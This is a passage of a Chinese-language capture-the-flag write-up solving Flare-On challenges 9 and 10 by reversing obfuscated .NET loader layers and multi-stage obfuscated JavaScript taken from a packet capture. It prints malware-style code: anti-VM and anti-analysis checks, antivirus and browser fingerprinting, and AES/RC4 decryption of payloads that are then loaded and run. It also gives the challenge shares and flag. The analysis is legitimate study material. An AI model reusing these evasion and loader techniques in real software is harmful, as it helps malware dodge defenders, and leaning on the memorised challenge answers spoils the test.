continue;
}
case 5u:
{
string[] array = new string[9];
arg_39_0 = (num * 713891861u ^ 505575431u);
continue;
}
case 6u:
goto IL_2F;
case 7u:
{
string[] array;
array[8] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2500000229u);
array2 = array;
arg_39_0 = (num * 404629751u ^ 4003272754u);
continue;
}
case 8u:
{
string[] array;
array[6] = <Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3462063362u);
arg_39_0 = (num * 944659686u ^ 795441943u);
continue;
}
case 9u:
{
string[] array;
array[7] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2273825057u);
arg_39_0 = (num * 2903015759u ^ 2716276850u);
continue;
}
}
goto Block_1;
}
}
Block_1:
ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectCollection.GetEnumerator();
try
{
while (true)
{
IL_262:
uint arg_1AC_0 = (!enumerator.MoveNext()) ? 4035020753u : 3623295036u;
while (true)
{
uint num;
switch ((num = (arg_1AC_0 ^ 2413552312u)) % 11u)
{
case 0u:
{
int num2;
num2++;
arg_1AC_0 = 3060273637u;
continue;
}
case 1u:
{
int num2;
string[] array3;
arg_1AC_0 = ((num2 < array3.Length) ? 3110028346u : 2946798570u);
continue;
}
case 2u:
{
ManagementObject managementObject = (ManagementObject)enumerator.Current;
string text = (string)managementObject[<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(3071942643u)];
arg_1AC_0 = 3016139492u;
continue;
}
case 3u:
{
string text;
string value;
arg_1AC_0 = ((text.Contains(value) ? 2300307047u : 4029176840u) ^ num * 3807182732u);
continue;
}
case 4u:
arg_1AC_0 = 3623295036u;
continue;
case 6u:
{
int num2 = 0;
arg_1AC_0 = (num * 3618253266u ^ 3718838043u);
continue;
}
case 7u:
{
int num2;
string[] array3;
string value = array3[num2];
arg_1AC_0 = 3316693056u;
continue;
}
case 8u:
goto IL_262;
case 9u:
{
string text = text.ToLower();
string[] array3 = array2;
arg_1AC_0 = (num * 4045000684u ^ 1184628303u);
continue;
}
case 10u:
result = true;
arg_1AC_0 = (num * 2077563369u ^ 3861696063u);
continue;
}
goto Block_4;
}
}
Block_4:;
}
finally
{
if (enumerator != null)
{
while (true)
{
IL_2EA:
uint arg_2F4_0 = 3956176503u;
while (true)
{
uint num;
switch ((num = (arg_2F4_0 ^ 2413552312u)) % 3u)
{
case 0u:
goto IL_2EA;
case 2u:
((IDisposable)enumerator).Dispose();
arg_2F4_0 = (num * 2800442345u ^ 1450629006u);
continue;
}
goto Block_9;
}
}
Block_9:;
}
}
return result;
}
public static bool Start(string config)
{
if (Layer2.IsVideoCardFromEmulator())
{
return false;
}
bool result;
try
{
string key = Layer2.getKey();
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3753327011u));
MethodInfo method;
object[] array;
while (true)
{
IL_1F:
uint arg_29_0 = 940752502u;
while (true)
{
uint num;
switch ((num = (arg_29_0 ^ 1520223704u)) % 8u)
{
case 0u:
goto IL_1F;
case 1u:
{
Assembly assembly;
Type type = assembly.GetType(<Module>.\u200C\u206D\u200E\u200C\u206D\u206D\u202E\u202C\u202A\u202C\u206D\u206E\u206F\u206A\u206E\u206A\u206D\u206A\u206B\u200C\u206B\u202D\u206D\u200D\u202E\u200C\u202D\u200E\u202A\u200B\u206E\u200B\u206C\u200D\u206C\u206E\u200D\u206C\u202A\u206A\u202E<string>(4061409225u));
arg_29_0 = (num * 4242975297u ^ 1282056291u);
continue;
}
case 2u:
{
Type type;
method = type.GetMethod(<Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(2617334851u));
array = new object[1];
arg_29_0 = (num * 1579163950u ^ 3648286203u);
continue;
}
case 3u:
{
byte[] rawAssembly;
Assembly assembly = Assembly.Load(rawAssembly);
arg_29_0 = (num * 1590382241u ^ 2941013770u);
continue;
}
case 4u:
{
byte[] buffer;
byte[] rawAssembly = util.DecompressBuffer(buffer);
arg_29_0 = (num * 92554542u ^ 2808918491u);
continue;
}
case 6u:
{
byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
arg_29_0 = (num * 4054600647u ^ 1312138318u);
continue;
}
case 7u:
array[0] = <Module>.\u206B\u202D\u206D\u200D\u202B\u202C\u206D\u200C\u202D\u200E\u206D\u202D\u206F\u200D\u206B\u200B\u202B\u206A\u202A\u202A\u206D\u206B\u200C\u206D\u206A\u202C\u206D\u206B\u202C\u202A\u206F\u202B\u206B\u200E\u206E\u200C\u200C\u202D\u202E\u202A\u202E<string>(927985914u);
arg_29_0 = (num * 2757215955u ^ 2775083800u);
continue;
}
goto Block_3;
}
}
Block_3:
bool flag = (bool)method.Invoke(null, array);
result = flag;
}
catch (Exception)
{
while (true)
{
IL_13A:
uint arg_144_0 = 1603173826u;
while (true)
{
uint num;
switch ((num = (arg_144_0 ^ 1520223704u)) % 3u)
{
case 0u:
goto IL_13A;
case 2u:
result = false;
arg_144_0 = (num * 1446448774u ^ 4267266598u);
continue;
}
goto Block_4;
}
}
Block_4:;
}
return result;
}
}
```
透過動態分析還是可以快速看出大致上的行為:
- `Layer2.IsVideoCardFromEmulator()` 會透過顯示卡檢查是否在虛擬機中
可以中斷在 `IsVideoCardFromEmulator()` 的 `return` 並修改 `result` 來通過檢查
- `Layer2.getKey()` 中,會呼叫 `Registry.CurrentUser.GetSubKeyNames()` 並同樣以 `md5` + `base64` 判斷是否有 `sub key` 的名稱為 `secret`,並回傳 key: `flare-secret`
在 `HKEY_CURRENT_USER` 下新增一個名為 `secret` 的機碼即可符合條件
然而在沒有符合條件的情況下執行 `Layer2.getKey()` 後可以從區域變數中得到第三組 share:
`Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294`
- 最後程式會以 `AES` 解密並載入下一層的 `dll`,以同樣的方式繼續跟進
### Layer3.dll
一樣步過第一個初始化函數後 `Reaload Method Bodies` ,中斷在 `Layer3.Start()`
```c#
public class Layer3
{
// Token: 0x06000040 RID: 64 RVA: 0x0000FBC8 File Offset: 0x0000DFC8
public static string getKey()
{
SelectQuery query = new SelectQuery(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2945095396u));
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(query);
ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get().GetEnumerator();
try
{
string result;
while (true)
{
IL_108:
uint arg_33_0 = (!enumerator.MoveNext()) ? 3879835726u : 2651603684u;
while (true)
{
uint num;
switch ((num = (arg_33_0 ^ 3495535212u)) % 10u)
{
case 0u:
{
string text;
arg_33_0 = (((text.CompareTo(StringUtils.a66) == 0) ? 206694793u : 1391732593u) ^ num * 2790437578u);
continue;
}
case 1u:
{
MD5 mD;
byte[] bytes;
byte[] inArray = mD.ComputeHash(bytes);
arg_33_0 = (num * 3633414537u ^ 2117330041u);
continue;
}
case 2u:
arg_33_0 = 2651603684u;
continue;
case 3u:
goto IL_108;
case 4u:
{
byte[] inArray;
string text = Convert.ToBase64String(inArray);
arg_33_0 = (num * 3905099304u ^ 3227076034u);
continue;
}
case 5u:
{
string text2;
result = <Module>.\u206F\u202C\u206D\u206F\u206E\u202C\u200D\u206F\u202A\u200F\u200E\u202D\u202B\u206B\u200F\u202E\u200D\u206E\u206E\u200C\u200D\u200B\u206A\u206B\u206D\u202C\u206C\u206F\u206A\u206F\u200C\u202B\u206A\u202D\u200D\u202A\u202D\u200F\u200B\u206C\u202E<string>(3257699721u) + text2;
arg_33_0 = (num * 229438980u ^ 2250473547u);
continue;
}
case 7u:
goto IL_6C;
case 8u:
{
ManagementObject managementObject = (ManagementObject)enumerator.Current;
string text2 = (string)managementObject[<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(3483153269u)];
arg_33_0 = 3508415771u;
continue;
}
case 9u:
{
MD5 mD = MD5.Create();
string text2;
byte[] bytes = Encoding.UTF8.GetBytes(text2);
arg_33_0 = (num * 259472154u ^ 2673059115u);
continue;
}
}
goto Block_3;
}
}
Block_3:
goto IL_179;
IL_6C:
return result;
IL_179:;
}
finally
{
if (enumerator != null)
{
while (true)
{
IL_17F:
uint arg_189_0 = 4269206364u;
while (true)
{
uint num;
switch ((num = (arg_189_0 ^ 3495535212u)) % 3u)
{
case 0u:
goto IL_17F;
case 1u:
((IDisposable)enumerator).Dispose();
arg_189_0 = (num * 2689088499u ^ 3887649818u);
continue;
}
goto Block_7;
}
}
Block_7:;
}
}
return <Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(3855791546u);
}
public static bool Start(string config)
{
try
{
string key = Layer3.getKey();
while (true)
{
IL_06:
uint arg_10_0 = 4289824873u;
while (true)
{
uint num;
switch ((num = (arg_10_0 ^ 3707440169u)) % 9u)
{
case 0u:
goto IL_06;
case 1u:
{
byte[] bytesToBeDecrypted;
byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
arg_10_0 = (num * 661416811u ^ 2039414464u);
continue;
}
case 2u:
{
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u206C\u202D\u206F\u202B\u206E\u200D\u202A\u202C\u206C\u200B\u202E\u206F\u200F\u200F\u202D\u202A\u206F\u202A\u206A\u202D\u206A\u202C\u202D\u206D\u206D\u206E\u206B\u206D\u202E\u206E\u200B\u206B\u200E\u202B\u202B\u206D\u202C\u206C\u202E\u202E<string>(2921636399u));
arg_10_0 = (num * 3538037274u ^ 2949823500u);
continue;
}
case 4u:
{
byte[] bytes2;
File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2663114732u), bytes2);
ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.\u206E\u200C\u206E\u202E\u206E\u206E\u206C\u202A\u200E\u206D\u202E\u206E\u206B\u206D\u202B\u202E\u200F\u200C\u202D\u202B\u206D\u202A\u200B\u202D\u200C\u200E\u206F\u206B\u206E\u202E\u202B\u206B\u200E\u202C\u200C\u206C\u202E\u200C\u206F\u202D\u202E<string>(1143424475u));
arg_10_0 = (num * 1327553900u ^ 1386100579u);
continue;
}
case 5u:
{
byte[] bytes;
File.WriteAllBytes(<Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(2505810066u), bytes);
arg_10_0 = (num * 3787366363u ^ 40351029u);
continue;
}
case 6u:
{
ProcessStartInfo processStartInfo;
Process.Start(processStartInfo);
arg_10_0 = (num * 284573691u ^ 2598046760u);
continue;
}
case 7u:
{
ProcessStartInfo processStartInfo;
processStartInfo.Verb = <Module>.\u206A\u202A\u200C\u206D\u200C\u206D\u200E\u206A\u200C\u206C\u206A\u206F\u206A\u200B\u200E\u206D\u202B\u200D\u200F\u202B\u206C\u206E\u202D\u206C\u202E\u202D\u206C\u200D\u200D\u206A\u200B\u200F\u200B\u200B\u206D\u202A\u206D\u206A\u200E\u202E<string>(3666361390u);
arg_10_0 = (num * 183203051u ^ 3338640763u);
continue;
}
case 8u:
{
byte[] bytes2 = util.ReadResource(<Module>.\u206E\u200C\u200F\u206E\u202D\u200F\u200D\u206F\u202C\u206F\u200C\u206B\u202A\u200C\u202A\u206D\u200C\u206F\u202A\u202E\u200E\u206F\u200F\u206D\u202C\u200F\u206E\u202B\u202D\u202D\u206C\u200D\u202E\u206E\u202C\u206F\u202D\u206A\u202D\u202A\u202E<string>(4245356310u));
arg_10_0 = (num * 748758343u ^ 2498904875u);
continue;
}
}
goto Block_2;
}
}
Block_2:;
}
catch (Exception)
{
return false;
}
return true;
}
}
```
- `Layer3.getKey()` 中會用 `md5` + `base64` 檢查是否有名為 `shamir` 的 user 存在,符合條件後回傳 key: `flare-shamir`
接著以 AES 解密並輸出出一個執行檔 `ssss-combine.exe`
之後會顯示一張圖片,內容為第 6 組 Share:
`Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a`
最後彈出訊息 `Thanks for playing!`
### combine
執行 `ssss-combine.exe` 後可以知道是用來解 [Shamir Secret Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing)
```
Shamir Secret Sharing Scheme- $Id$
Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com
Combine shares using Shamir's Secret Sharing Scheme.
ssss-combine -t threshold [-x] [-q] [-Q] [-D]
```
照前面得到的序號編號看來,我們需要 6 組 share 序號
分析過程中得到了 `1, 2, 3, 6`
而剩下的 `4, 5` 可以從 process 中 dump 出來,中斷在程式結束之前,掃描 process memory 後得到:
```
Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3
```
最後使用 `ssss-combine.exe` 解出 Flag:
```
> ssss-combine.exe -t 6
Shamir Secret Sharing Scheme - $Id$
Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com
Enter 6 shares separated by newlines:
Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64
Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3
Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294
Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd
Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3
Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a
Resulting secret: Shamir_1s_C0nfused@flare-on.com
```
---
## Challenge 10: FLAVA
只給了一個 `flave.pcap`
透過 wireshark 可以觀察出是在瀏覽一些跟 Pokemon Go 有關的網站:
`lessons_you_will_learn_from_pokemon_go.html`
`where_to_catch_eevee.html`
### SWF
其中一個比較可疑的 request 是
`GET /will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh`
將檔案 dump 出來,發現是一個 swf 檔:
```shell
$ file will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh
will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh: Macromedia Flash data (compressed), version 14
```
提示需要輸入 Key:
![image alt](http://i.imgur.com/ThTpQrO.png)
使用 [JPEXS Flash Decompiler](https://www.free-decompiler.com/flash/download/) 分析:
```clike
public static function pr0udB3lly(param1:ByteArray, param2:String) : ByteArray
{
var loc5:* = undefined;
var loc3:ByteArray = new ByteArray();
var loc4:ByteArray = new ByteArray();
loc3.writeBytes(param1,16,param1.length - 16);
loc4.writeUTFBytes(param2);
loc4.writeBytes(param1,0,16);
loc5 = MD5.hashBytes(loc4);
var loc6:* = 0;
var loc7:* = 0;
var loc8:* = 0;
var loc9:ByteArray = new ByteArray();
var loc10:uint = 0;
var loc11:ByteArray = new ByteArray();
loc7 = uint(0);
while(loc7 < 256)
{
loc9[loc7] = loc7;
loc7++;
}
loc7 = uint(0);
while(loc7 < 256)
{
loc10 = loc10 + loc9[loc7] + loc5.charCodeAt(loc7 % loc5.length) & 255;
loc6 = uint(loc9[loc7]);
loc9[loc7] = loc9[loc10];
loc9[loc10] = loc6;
loc7++;
}
loc7 = uint(0);
loc10 = 0;
loc8 = uint(0);
while(loc8 < loc3.length)
{
loc7 = uint(loc7 + 1 & 255);
loc10 = loc10 + loc9[loc7] & 255;
loc6 = uint(loc9[loc7]);
loc9[loc7] = loc9[loc10];
loc9[loc10] = loc6;
loc11[loc8] = loc3[loc8] ^ loc9[loc9[loc7] + loc9[loc10] & 255];
loc8++;
}
return loc11;
}
public function d3cryp7AndL0ad(param1:String) : void
{
var loc2:Loader = new Loader();
var loc3:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
var loc4:Class = Run_challenge1;
var loc5:ByteArray = pr0udB3lly(ByteArray(new loc4()),param1);
var loc6:String = "1172ca0ede560b08d97b270400347ede";
if(MD5.hashBytes(loc5) == loc6)
{
this.loaded = true;
loc2.loadBytes(loc5);
}
}
```
程式會將 binary 資料用我們給的 key 做 RC4 解密出另一個 swf 後,判斷檔案 md5 為 `1172ca0ede560b08d97b270400347ede`,再載入執行
看起來沒有 RC4 Key 就無法繼續下去
### Obfuscated Javascript
再回頭分析 pcap,發現在取得 swf 的 request 之前載入了一個奇怪的頁面:
![](http://i.imgur.com/z9OPpZ0.png)
在 `133` 行處發現看起來被混淆的 `javascript`:
![](https://i.imgur.com/9Myw6pC.png)
先透過 [jsbeautifier](http://jsbeautifier.org) 將它變得好看一點之後,發現還是被高度混淆,只好開始非常痛苦的手動慢慢還原:
```javascript
var nRXXcuUgLQVUBh;
var PNfNaU, kCfh, BoXo, gFVaUK, eseHzcGkAGiM;
var current_time = new Date();
var IjyDLAKpitvfE;
var AYKbsHqKVlYHn, UKhPqdhzo = true;
var FiAwn = 1;
var date = new Date('2016/09/09');
var TYg = 'ABCDEFGHIJKLMNOPQRST';
var LHsfd76 = 'UVWXYZabcdefghijklmnopqrstuv', Ndfrf = 'wxyz0123456789+/=';
kCfh = 'join';
var LiZAqJ = 0;
AYKbsHqKVlYHn = (
function() {
var js_code, html;
if (window['d'] == "" || window['BoXo']) {
wutdorw.scroll = doRsw.alert()
};
html = this.document.getElementById('oq6iFsbdiAj').innerHTML;
html = html.substr(htm.indexOf('>') + 1);
CheckScriptEngine();
js_code = v5Z16(html['replace'](/\s/g, ""), "Tk9SRmhzYUNXWkpvamJtdg==");
html = null;;
try {
if (FiAwn == 1) {
var U7weQ = new Function(js_code);
console.log(U7weQ);
U7weQ();
FiAwn = 2
} else {
var O0fdFD = new Function(js_code);
console.log(O0fdFD);
O0fdFD(js_code)
}
} catch (lol) {
}
});
function ogv(UYfer3) {
var HG6dq = String, uhod = 'A' + HG6dq['fromCharCode'](110 + 6), LLrefrwf3 = KrefF34 = TYg, KrefF34 = Ndfrf;
var Kds7e3HdSf = LHsfd76;
var erfyT = LLrefrwf3 + Kds7e3HdSf + KrefF34, o = '';
UYfer3 = UYfer3.replace('/[^A-Za-z0-9\+\/\=]/g', '');
var t = 0, HG6dq = HG6dq['fromCharCode'];
while (t < UYfer3.length) {
var efdmsf =
erfyT.indexOf(UYfer3['char' + uhod](t++)),
kjnre = erfyT.indexOf(UYfer3['char' +
uhod](t++)),
LHregfbg = erfyT.indexOf(UYfer3['char' + uhod](t++)),
I9dsfd = erfyT.indexOf(UYfer3['char' + uhod](t++));
var lmsfd = (efdmsf << 2) | (kjnre >> 4),
M39fd = ((kjnre & 0xf) << 4) | (LHregfbg >> 2),
R3kdns = ((LHregfbg & 3) << 6) | I9dsfd;
o += HG6dq(lmsfd);
if (LHregfbg != (60 + 4)) o += HG6dq(M39fd);
if (I9dsfd != (8 * 8)) o += HG6dq(R3kdns);
}
var oa = new Array();
for (var y = 0; y < o.length; y++) oa[y] = o[y].charCodeAt(0);
return oa;
}
function CheckDate() {
return true; // patch
if (current_time < date) {
return true;
} else {
return false;
}
}
function CheckScriptEngine() {
var utaNfs = LiZAqJ;
try {
if (window.ScriptEngineBuildVersion() === 545) {
utaNfs = 0;
} else {
utaNfs = 2;
}
} catch (e) {
utaNfs = 4;
}
utaNfs = 0;// patch
LiZAqJ = utaNfs;
}
function b64decode(sFE) {
...
}
function v5Z16(Fu, ya4o) {
R$FBC = new Array();
var DM7w7I = LiZAqJ;
JoJH = String.fromCharCode;
if (!DM7w7I) {
if (window && (!window.outerWidth || window.outerWidth < 1280)) {
DM7w7I = 1;
} else {
var IhUgy = new Date();
DM7w7I = (IhUgy - current_time > 100) ? 3 : 0
DM7w7I = 0; // patch
}
}
var fC5Z = ogv(Fu);
var S7z = b64decode(ya4o);
for (var i = 0; i < fC5Z.length; i++) {
var bvp1u = fC5Z[i];
if (S7z.length < 0) {
bvp1u = 1
}
if (S7z.length > 0)
bvp1u ^= S7z[DM7w7I];
if (!CheckDate()) {
(DM7w7I++) % 7
};
R$FBC[i] = bvp1u
}
var msl = R$FBC['length'], qXgdUv = "";
for (var Jk = 0; Jk < msl; Jk++) {
var S7z = R$FBC[Jk];
qXgdUv += JoJH(S7z)
}
return qXgdUv;
};
var sTAOtHoXuO;
var VoxpI;
var fBtpJkk = "";
window['AYKbsHqKVlYHn']()
```
script 中會做一些檢查:
- `ScriptEngineBuildVersion()` 返回值必須是 545
- 目前時間小於 2016/09/09
- window.outerWidth 要 >= 1280
- 執行時間 < 100ms
最後以 base64 及 xor decode 得到另一組 javascript 執行
我們可以直接 patch 掉檢查後 dump 出執行的 code
### Obfuscated Javascript - 2
一樣又是混淆過的 javscript,混淆的方式相當惱人,不曉得有沒有什麼實用的工具能快速處理:
```javascript
var Il1Ib = Math, Il1Ic = String, Il1IIll1a = JSON, Il1IIll1b = XMLHttpRequest; var Il1Ie = ''['lol']('9%E44%BC%1Ap', 90, 9, 97),
Il1If = ''['>_<']('%D0%94%18F%A5%C0', 162, 5, 199),
Il1Ig = ''['OGC']('%B7%5By4%B6%B4w', 199, 33, 147),
Il1Ih = ''['-Q-']('%B7j%16%9E%04%88%E4%3Ej', 199, 17, 225),
Il1I = ''['>_O']('%DB%FCy%7D%E1', 168, 129, 247),
Il1Ii = ''['o3o']('%C4J%13sI%F7%3D', 173, 5, 195),
Il1Ij = ''['Orz']('%D6%E4zP%20%EC', 181, 9, 47),
Il1Ik = ''['Orz']('F%92%1C%D5%DF%02', 52, 65, 191),
Il1Il = ''['^_^']('%3Eq%01%F4%C7G%FB%B7%F34%A2%94', 88, 65, 171), Il1Im = ''['^_^']('%DFu%5C_c', 190, 33, 135),
Il1In = ''['lol']('%FA%5E%1A%F6V%9F', 150, 5, 77),
Il1Io = ''['>_<']('%F9S%F8%AE%BB%11%89q', 141, 65, 111),
Il1Ip = ''['OGC']('%03%F7%B7%B7o%A4%06%D49%03', 96, 9, 63), Il1Iq = ''['O_o']('%C3%BE%10%C3+', 165, 129, 173),
Il1Ir = ''['lol']('%D4%1B%E7M', 167, 33, 235);
var Il1IbbAa = ''['>_O']('%10%8D%81%CE%17%A9y9%5B%F0%3Bx%DE%3FC%EB%85%FD%EE%8A%80%FAy%9D%CC%A11%D4 KH%23%AF6.%84%5D%28%D8%06dg%24%26%E0%E3%8E0s%A8%1F%B1%10%AF%1B%09%03%E3%02%EBR%5C%A 9%13%E5%E3O%3E%BC%E6d%29%C7*3%C1C%A9%FA%13%D2t%B0thY%86O3', 65, 5, 147);
var Il1Ibbss = ''['-,-']('*%F1m%891%82', 89, 33, 11),
Il1Ibbso = 6, Il1Ibbsi = 2, Il1Ibbsn = 10;
var Il1Ibbsa = ''['O_o']('G%02n%1FeB%93%7C%BF%8B%FA%80%F9%AF%1B%C3', 52, 129, 51),
Il1Ibbsb = ''['-Q-']('%9F%23%ABO', 240, 9, 227),
Il1Ibbsc = ''['Orz']('%EE%DB1%E4', 157, 129, 161),
Il1Ibbsd = ''['Orz']('%AFUd4%8D%83%3B%8El%F2%1A%CC%27W%FB%3B%17%8E', 192, 33,
123),
Il1Ibbse = ''['^_^']('%08%C0%F1_%DF%82%C8%06%A6%98', 122, 65, 171), Il1Ibbsf = ''['O_o']('1%FDi%0B%DB%26', 66, 9, 55),
Il1Ibbsg = ''['-,-']('lTC%3B%ED%A3%7C%10%9E', 31, 17, 17), Il1Ibbsh = ''['>_<']('G%E1%7B%A1%BE', 55, 65, 137),
Il1Ibbsl = escape,
Il1Ibbsj = unescape,
Il1Ibbsk = ''['o3o']('%09mFr%00%12Z%137%95e%9E', 123, 33, 45), Il1Ibbsp = ''['o3o']('s%DD%A2%14', 35, 17, 63),
Il1Ibbst = false;
```
用類似的方式痛苦的還原:
```javascript
function js2() {
String.prototype.kek = function(a, b, c, d) {
var e = '';
a = unescape(a);
for (var f = 0; f < a.length; f++) {
var g = b ^ a.charCodeAt(f);
e += String.fromCharCode(g);
b = (b * c + d) & 0xFF;
}
log(e);
return e;
}
String.prototype.ggg = function() {
return 'flareon_is_so_cute';
}
String.prototype.hhh = function() {
return 'how_can_you_not_like_flareon';
};
m();
var a = l();
var b = Function(a);
b();
}
js2();
function m() {
window.notIE = false;
window.keyboardPlugin = false;
window.table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
window.table2 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
window.base64_table = window.table2;
}
function j() {
var blah;
var a = navigator;
if(a.userAgent.indexOf('MSIE') == -1 && a.appVersion.indexOf('Trident/') == -1) {
window.notIE = true;
}
window.notIE = false; // patch
var d = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi',
e = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1',
f = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1';
try {
blah = new ActiveXObject(d);
} catch(w) {
blah = false;
try {
blah = new ActiveXObject(e);
} catch(w) {
blah = false;
try {
blah = new ActiveXObject(f);
} catch(w) {
blah = false;
}
}
}
blah = false; // patch
if (blah) {
window.keyboardPlugin = true;
}
if (!window.notIE && !window.keyboardPlugin) {
window.base64_table = window.table1;
}
else {
window.base64_table = window.table2;
}
}
function l() {
j();
var a = "<LONG BASE64>",b,g,f,e,c,d=0,h='',x=window.base64_table;
do
b = x.indexOf(a.charAt(d++)),
g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
f = b << 18 | g << 12 | e << 6 | c,
b = f >> 16 & 255,
g = f >> 8 & 255,
f &= 255,
h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
while (d < a.length);
return h;
}
```
這一層會透過 `navigator.userAgent` 跟 `navigator.appVersion` 來檢查目前環境是不是在 IE 瀏覽器中,並偵測一些 `卡巴斯基` 的 `ActiveX` 元件
通過之後,會再解出另一組 `javascript` 載入執行
### Obfuscated Javascript - 3
一樣用痛苦的方式還原,搜尋使用到的一些常數會發現其中包含了一個 `BigInteger` 的 js library: [jsbn](http://www-cs-students.stanford.edu/%7Etjw/jsbn/)
同時也做了一些環境檢查:
- 檢查是否位於 `nodejs` 或 `PhantomJS` 中
- 透過 `ActiveXObject` 檢查是否有讀檔能力,判斷是否在 VM 中
- 檢查執行效能及螢幕解析度
```javascript
EnvChecker = function() {
function echo_rm_msg() {
var a = false;
try {
print(os.system('echo', ["I just rmed your root dir. You're welcome."]));
a = true;
} catch(m){a=false;};
return a;
};
function check_process() {
var a = false;
try {
var b = window;
if (typeof b === 'undefined')
{
a = true;
}
} catch (z) {};
